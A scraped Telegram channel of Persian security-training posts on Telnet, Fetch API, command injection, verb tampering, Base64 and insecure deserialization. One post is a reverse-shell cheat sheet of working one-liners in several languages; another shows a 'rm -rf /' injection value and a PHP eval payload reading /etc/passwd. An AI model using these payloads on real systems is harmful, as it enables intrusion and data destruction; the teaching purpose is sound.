Security hint
4.66K subscribers
75 photos
2 videos
18 files
190 links
🔥Security training

🎯 قراره روشن کننده مسیرتون باشیم.

یوتیوب: www.youtube.com/@sec_hint

اپارات: aparat.com/sec_hint

گیت‌هاب: https://github.com/sechint

ادمین:
@adm_sec_hint
Download Telegram
🤖پروتکلی کهنه ولی کاربردی

Telnet:
یه پروتکل شبکه مبتنی بر متن هست که به شما اجازه میده از راه دور به یه کامپیوتر دیگه وصل بشید و دستورات رو اجرا کنید.

☕️کاربردهای Telnet:

مدیریت از راه دور: Telnet یه ابزار قدرتمند برای مدیریت از راه دور سرورها، روترها و سایر تجهیزات شبکه هست.
عیب یابی: با Telnet میتونید مشکلات شبکه رو عیب یابی کنید و علت خطاها رو پیدا کنید.
آزمایش پورت ها: Telnet یه روش ساده برای اسکن پورت های یه کامپیوتر و بررسی باز یا بسته بودن اونهاست.
آموزش: Telnet میتونه یه ابزار آموزشی مفید برای یادگیری مفاهیم پایه ای شبکه و دستورات لینوکس باشه.

🕳چالش‌های امنیتی Telnet:

و‌‎Telnet یه پروتکل ناامن هست که اطلاعات رو به صورت واضح (Plain Text) ارسال میکنه.

این موضوع Telnet رو به یه طعمه لذیذ برای هکرها تبدیل کرده و استفاده از اون در دنیای امروز که خطرات سایبری به طور چشمگیری افزایش پیدا کردن، به شدت غیرقابل توصیه هست.

🪃مشکلات امنیتی Telnet:

عدم رمزنگاری: اطلاعات ارسالی و دریافتی در Telnet به صورت رمزنگاری نشده هستن و به راحتی قابل رهگیری و شنود توسط هکرها هستن.
حمله Man-in-the-Middle: هکرها میتونن بین شما و کامپیوتر مقصد قرار بگیرن و به تمام اطلاعات ارسالی و دریافتی دسترسی پیدا کنن.
جعل هویت: هکرها میتونن با جعل هویت شما، به کامپیوتر مقصد متصل بشن و دستورات مخرب اجرا کنن.

جایگزین‌های امن‌تر Telnet:

با توجه به مشکلات امنیتی Telnet، استفاده از جایگزین‌های امن‌تر به شدت توصیه میشه.

جایگزینی برای داشتن ارتباط امن:
SSH:
یه پروتکل امن برای اتصال از راه دور هست که از رمزنگاری قوی برای محافظت از اطلاعات استفاده میکنه.


#Telnet #امنیت_وب #هک #آسیب_پذیری #اسکن #نفوذ


ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍81
💀دنیای ناشناخته ی JavaScript

یه چلنج از root-me که شمارو با دنیای دیگه از javascript آشنا میکنه:
https://www.root-me.org/en/Challenges/Web-Client/Javascript-Native-code


#js #javascript #root_me #جاوااسکریپت #Challenges

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍62🤔1
Security hint
🐝ارسال درخواست با جاوا اسکریپت: یکی از دانش های مورد نیاز از جاوا اسکریپت ارسال درخواست (http) هست. دو روش رایج برای ارسال درخواست با جاوا اسکریپت وجود دارد: 1. استفاده از XML HttpRequest (XHR) 2. استفاده از Fetch API مدرن‌تر و کاربرپسندتر است ارسال…
🍥ارسال درخواست‌های Fetch API در جاوا اسکریپت

در این پست، به بررسی نحوه ارسال درخواست‌های GET و POST با استفاده از Fetch API در جاوا اسکریپت می پردازیم. Fetch API یک رابط مدرن و قدرتمند برای انجام درخواست‌های HTTP در مرورگرهای وب است.

💥GET request

یک درخواست GET برای دریافت اطلاعات از یک سرور استفاده می‌شود. برای ارسال یک درخواست GET با Fetch API، مراحل زیر را دنبال کنید:

fetch('https://api.example.com/data')
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error(error));


💥POST request

یک درخواست POST برای ارسال اطلاعات به یک سرور استفاده می‌شود. برای ارسال یک درخواست POST با Fetch API، مراحل زیر را دنبال کنید:

const data = { name: 'Alice', age: 30 };
const jsonData = JSON.stringify(data);

fetch('https://api.example.com/users', {
method: 'POST',
body: jsonData,
headers: { 'Content-Type': 'application/json' }
})
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error(error));



#JavaScript #FetchAPI #GET #POST #پیشنیاز #جاوااسکریپت #آموزش

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
5🦄1
🎓معرفی چند تا چنل یوتیوب درزمینه پنتست و باگ بانتی که براتون مفیده

BugBountyReports

NahamSec

CryptoCat

#Youtube

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍75🤩2
Security hint
👻👻👻👻👻👻👻 براتون اینجا گذاشتم https://youtu.be/B7Sn709pLVE 😉😉😉
👑Reverse Shell Cheat Sheet

Bash:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1


Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


PERL:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


PHP:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


Ruby:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Netcat:
nc -e /bin/sh 10.0.0.1 1234


Java:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


xterm:
xterm -display 10.0.0.1:1


#Reverse_Shell #Cheat_Sheet

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
6👍3👻1
☠️جایگزینی برای BurpSuite

https://freedium.cfd/https://medium.com/@lmoise2022/one-of-the-newest-tools-in-pentesting-b93e8434c08a

اپدیت: البته این تولز رایگان نیست، اگه کرک بشه عالی میشه🥲

#BurpSuite #Caido #tools
ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍4
🔓HTTP 403 bypass tool

یه ابزار که برای بایپس کردن ارور (Forbidden) سایت ها میتونید استفاده کنید.

https://github.com/trap-bytes/403jump


#tools #bypass #403

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
4👍3🤔1
🥷🏻معرفی لب تمرینی
این سایت خیلی خوبه چندین لابراتوار رو باهم جمع کرده و بسته به نوع اسیب پذیری میتونید لابراتوار رو انتخاب کنید.
https://lab.awh.zdresearch.com

#lab #تمرین #آموزش

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
4👎2
javascript-beginner-handbook.pdf
544.7 KB
📖 هنوز JavaScript یاد نگرفتی؟؟
پس از این کتاب برای شروع استفاده کن ...
خلاصه و ساده مباحث رو توضیح داده ☺️

#book #javascript #beginner

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
8👍2💯2🔥1
Web Hacking 101.pdf
6.1 MB
📕معرفی یک کتاب دیگه که برای شروع میتونید بخونیدش و با ابزار های رایج آشنا بشید

(یه قسمت هایی کامنت فارسی هم داره)

#book #security #BugBounty

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👌42👍1
🔒 آشنایی با Command Injection و RCE 🔒
Command Injection

📌 تعریف: Command Injection یا تزریق دستورات، نوعی آسیب‌پذیری است که در آن مهاجم می‌تواند دستورات سیستمی را به یک برنامه تحت وب یا نرم‌افزار وارد کند و آن‌ها را اجرا کند. این نوع حمله زمانی ممکن می‌شود که ورودی‌های کاربر بدون اعتبارسنجی مناسب مستقیماً به خط فرمان سیستم عامل ارسال شوند.

⚠️ مثال: فرض کنید یک وبسایت فرمی دارد که نام دامنه‌ای را از کاربر می‌گیرد و آن را پینگ می‌کند:

import os
domain = input("Enter domain to ping: ")
os.system("ping " + domain)


اگر کاربر به جای وارد کردن نام دامنه، این ورودی را وارد کند:

google.com; rm -rf /


این دستور مخرب rm -rf / (که کل سیستم را پاک می‌کند) به دنبال دستور پینگ اجرا می‌شود، چون ورودی کاربر مستقیماً به خط فرمان ارسال شده است.

Remote Code Execution (RCE)


📌 تعریف: RCE نوعی آسیب‌پذیری است که به مهاجم اجازه می‌دهد کد دلخواه خود را از راه دور بر روی سیستم هدف اجرا کند. این آسیب‌پذیری‌ها بسیار خطرناک هستند زیرا مهاجم می‌تواند کنترل کامل سیستم را در دست بگیرد.

⚠️ مثال: فرض کنید یک برنامه وب آسیب‌پذیری دارد که به مهاجم اجازه می‌دهد کد PHP دلخواه خود را از طریق یک درخواست HTTP ارسال و اجرا کند:

<?php
$code = $_GET['code'];
eval($code);
?>


مهاجم می‌تواند با ارسال یک درخواست به این صفحه، کد مخربی را اجرا کند:

https://vulnerable-website.com/vulnerable.php?code=system('cat /etc/passwd');


این دستور محتویات فایل حساس /etc/passwd را نمایش می‌دهد.

📌تفاوت Command Injection و RCE

یک- Command Injection بیشتر به تزریق دستورات سیستم‌عامل اشاره دارد که توسط برنامه آسیب‌پذیر اجرا می‌شوند.
دو- RCE به اجرای کد دلخواه مهاجم روی سیستم هدف از راه دور اشاره دارد. این کد می‌تواند هر چیزی باشد، از جمله اسکریپت‌های پیچیده یا برنامه‌های مخرب.

🔺چطور می‌توان از این حملات جلوگیری کرد؟

اعتبارسنجی ورودی‌ها: هرگز ورودی‌های کاربر را بدون اعتبارسنجی و تصحیح ارسال نکنید.
استفاده از توابع امن: از توابع و کتابخانه‌هایی استفاده کنید که برای اجرای دستورات و ارتباط با سیستم عامل طراحی شده‌اند و در برابر تزریق‌ها مقاوم هستند.
بروزرسانی منظم نرم‌افزارها: همیشه نرم‌افزارها و کتابخانه‌های خود را به آخرین نسخه بروز نگه دارید تا از رفع آسیب‌پذیری‌ها بهره‌مند شوید.



#Command_Injection #RCE #تزریق_دستورات #اجرای_کد_از_راه_دور

🌐Sec_Hint & Boost & Youtube
👍11👻1🦄1
📣یه ویدیو کوتاه اماده کردم ...

کی بزارم ؟🤔🤔🤔

امشب👻 ؟یا یه شب دیگه 🦄؟

#YouTube
👻13🦄9👍6
✍🏻آشنایی با Burp suite
این رایتاپ خیلی خوب قسمت های مختلف burp رو توضیح داده

https://caioluchetti.medium.com/how-to-use-burp-suite-for-pentest-dbc9b0f7fe8d

#writeup #burp_suite #آموزش

ممنون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍53👻1
🔍 آشنایی با Verb Tampering

🎭 Verb Tampering
به معنای تغییر نوع درخواست‌های HTTP (مانند GET، POST، PUT، DELETE) است تا با تغییر متد درخواست، به منابع غیرمجاز دسترسی پیدا کنید یا محدودیت‌های امنیتی را دور بزنید. این تکنیک یکی از روش‌های محبوب هکرها برای سوءاستفاده از ضعف‌های امنیتی در برنامه‌های وب است.

📚 مثال عملی
فرض کنید یک فرم ورود در یک وب‌سایت فقط از متد POST برای ارسال داده‌ها استفاده می‌کند. اگر بتوانید نوع درخواست را به GET تغییر دهید، ممکن است به اطلاعات حساس دسترسی پیدا کنید یا رفتار غیرمنتظره‌ای از سرور مشاهده کنید.

🛠️ چگونه Verb Tampering را تست کنیم؟
1. بررسی متدهای مجاز: با استفاده از ابزارهای پنتست مانند Burp Suite، انواع متدهای HTTP را تست کنید و ببینید سرور چگونه به اونها پاسخ میده و آیا می‌توانید به اطلاعات غیرمجاز دسترسی پیدا کنید.
۲. تحلیل پاسخ‌ها: پاسخ‌های سرور را به دقت تحلیل کنید تا متوجه شوید که آیا اطلاعات حساس لو رفته یا محدودیت‌های امنیتی دور زده شده است.

🔧 راه‌های جلوگیری از Verb Tampering
به عنوان یک پنتستر، علاوه بر شناسایی ضعف‌ها، باید راهکارهای جلوگیری را نیز بدونید:
1. محدود کردن متدهای HTTP: مطمئن شوید سرور فقط متدهای مورد نیاز را می‌پذیرد.
2. اعتبارسنجی سمت سرور: درخواست‌ها را در سمت سرور اعتبارسنجی کنید و فقط متدهای مجاز را قبول کنید.
3. استفاده از توکن‌های CSRF: با توکن‌های CSRF از اعتبار درخواست‌ها مطمئن شوید.
4. پیاده‌سازی کنترل دسترسی مناسب: اطمینان حاصل کنید که هر کاربر فقط به منابع و عملکردهای مجاز دسترسی دارد.


موفق باشید و همیشه در حال یادگیری باشید!🚀

#verb_tampering #pentest

که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_HintBoost & Youtube
👍72🔥1👌1👻1
📣از دیشب ایونت NahamCon شروع شده
سه تا بخش داره CTF, ورکشاپ و کنفرانس (ارائه‌ها)
پیشنهاد میکنم ارائه‌ها رو شرکت کنید، زمانشون توی عکس هست.

#event

🌐Sec_Hint & Boost & Youtube
👍92
🔐انواع روش های رمزنگاری در یک نگاه

#رمزنگاری #Encryption

منون که مارو به دوستاتون معرفی میکنید🥰
🌐Sec_Hint & Boost & Youtube
👍62
انواع روش های رمزنگاری.xmind
255.6 KB
🖇اگر کیفیت عکس مناسب نیست میتونید از این فایل استفاده کنید

🌐Sec_Hint & Boost & Youtube
5👎1
🎢 رمزنگاری و Base64:
Base64:
یک روش کدگذاری (Encoding) است که داده‌های باینری را به یک رشته متنی قابل خواندن تبدیل می‌کند. این روش معمولاً برای انتقال داده‌ها در سیستم‌هایی که فقط متن را پشتیبانی می‌کنند، مانند ایمیل‌ها و URLها، استفاده می‌شود.

🔍 نکات کلیدی Base64:

قابل برگشت: شما می‌توانید داده‌های کدگذاری شده را دوباره به داده‌های اصلی تبدیل کنید.
ایمن نبودن: Base64 امنیتی به داده‌ها اضافه نمی‌کند؛ هر کسی که الگوریتم Base64 را بداند می‌تواند داده‌ها را دیکد کند.
کاربرد: انتقال داده‌ها به فرمتی که قابل خواندن و انتقال باشد.

مثال Base64 در Python
python 
import base64

data = "Hello, World!"
encoded_data = base64.b64encode(data.encode('utf-8'))
print(encoded_data) # خروجی: b'SGVsbG8sIFdvcmxkIQ=='

decoded_data = base64.b64decode(encoded_data).decode('utf-8')
print(decoded_data) # خروجی: Hello, World!


رمزنگاری چیست؟

رمزنگاری (Encryption) فرآیندی است که در آن داده‌ها به گونه‌ای تغییر می‌کنند که فقط افراد مجاز قادر به فهمیدن آن‌ها باشند.

مثال رمزنگاری در Python
from cryptography.fernet import Fernet

key = Fernet.generate_key()
cipher_suite = Fernet(key)

data = "Hello, World!"
encrypted_data = cipher_suite.encrypt(data.encode('utf-8'))
print(encrypted_data) # خروجی: داده‌های رمزنگاری شده

decrypted_data = cipher_suite.decrypt(encrypted_data).decode('utf-8')
print(decrypted_data) # خروجی: Hello, World!



تفاوت‌های کلیدی بین Base64 و رمزنگاری

یک) Base64: تبدیل داده‌ها به فرمتی قابل انتقال و ذخیره‌سازی.
دو) رمزنگاری: حفاظت از داده‌ها و جلوگیری از دسترسی غیرمجاز.

#base64 #encoding #رمزنگاری
به کانال ما بپیوندید و از پست‌های آموزشی بیشتر لذت ببرید! 💻📲
🌐Sec_Hint & Boost & Youtube
👍94👎1
💲اگر اول راهی و نمیخای هزینه سرور بدی این پست برای توئه:

https://www.thc.org/segfault/

کافیه داخل termius به این سرور وصل شی:
ssh [email protected]

🗝 رمز عبور: segfault

بیشتر ابزارهایی که برای باگ بانتی نیاز داری روش نصب هست و میتونی استفاده کنی

نکته:اگه اتصالت قطع بشه یا برنامه رو ببندی کل اطلاعاتت از بین میره. ولی یک راه حل داره😉

#segfault #free_server #server #سرور

🥸اپدیت: از این برای آشنایی با ابزار ها استفاده کنید نه برای تست های سنگین

با ما همراه باشید 😉
🌐Sec_Hint & Boost & Youtube
🤩8👍2👎2
🃏Serialize و Deserialize

داده هایی از نوع object را نمیتوان در شبکه ارسال کرد مگر تبدیل به باینری یا رشته شوند ولی چگونه؟


🔖Serialize:
فرآیندی است که طی آن داده‌های یک شیء (Object) به قالبی تبدیل می‌شوند که قابل ذخیره‌سازی و انتقال (مثلاً در فایل‌ها یا شبکه) باشند. به عبارت دیگر، Serialize یعنی تبدیل یک شیء به فرمت‌های متنی یا باینری. این فرآیند به ما امکان می‌دهد که اشیاء پیچیده را در سیستم‌های مختلف منتقل کنیم.

🏷Deserialize:
فرآیندی است که طی آن داده‌های سریالایز شده به شیء اصلی خود تبدیل می‌شوند. این فرآیند برعکس Serialize است و به ما کمک می‌کند داده‌ها را از قالب ذخیره‌سازی شده به حالت اولیه بازگردانیم.

🎯اهمیت Serialize و Deserialize در امنیت

از آنجایی که Serialize و Deserialize کردن داده‌ها در بسیاری از سیستم‌های نرم‌افزاری انجام می‌شود، این فرآیندها می‌توانند مورد سوءاستفاده قرار گیرند و به نقاط ضعف امنیتی تبدیل شوند. مهمترین نقاط ضعف در این زمینه عبارتند از:

یک) Insecure Deserialization: اگر داده‌های Deserialize شده به درستی اعتبارسنجی نشوند، مهاجم می‌تواند داده‌های مخرب را تزریق کرده و کدهای دلخواه خود را اجرا کند.
دو) افشای داده‌های حساس: Serialize کردن داده‌های حساس بدون رمزنگاری مناسب می‌تواند منجر به افشای اطلاعات حساس شود.
سه) حملات بازپخش (Replay Attacks): مهاجم می‌تواند داده‌های سریالایز شده را کپی و مجدداً ارسال کند تا عملکرد ناخواسته‌ای در سیستم ایجاد کند.

♨️مثال‌هایی از حملات Serialize و Deserialize
import pickle

# شیء اصلی
data = {'username': 'admin', 'password': 'password123'}

# سریالایز کردن
serialized_data = pickle.dumps(data)

# دی‌سریالایز کردن
deserialized_data = pickle.loads(serialized_data)

print(deserialized_data)

♨️در این مثال، ما از کتابخانه pickle در پایتون برای Serialize و Deserialize کردن یک دیکشنری ساده استفاده کردیم. اگر مهاجم بتواند محتوای سریالایز شده را تغییر دهد، می‌تواند کد مخربی را اجرا کند.

-اصولا بعداز serialize کردن داده از base64 استفاده میشود تا داده ها در مسیر گم نشوند.
-برای درک آسیب‌پذیری Insecure Deserialization آشنایی این دو موضوع لازم است.

#Serialize #Deserialize #Insecure_Deserialization

با ما همراه باشید 😉
🌐Sec_Hint & Boost & Youtube
👍12👻2👎1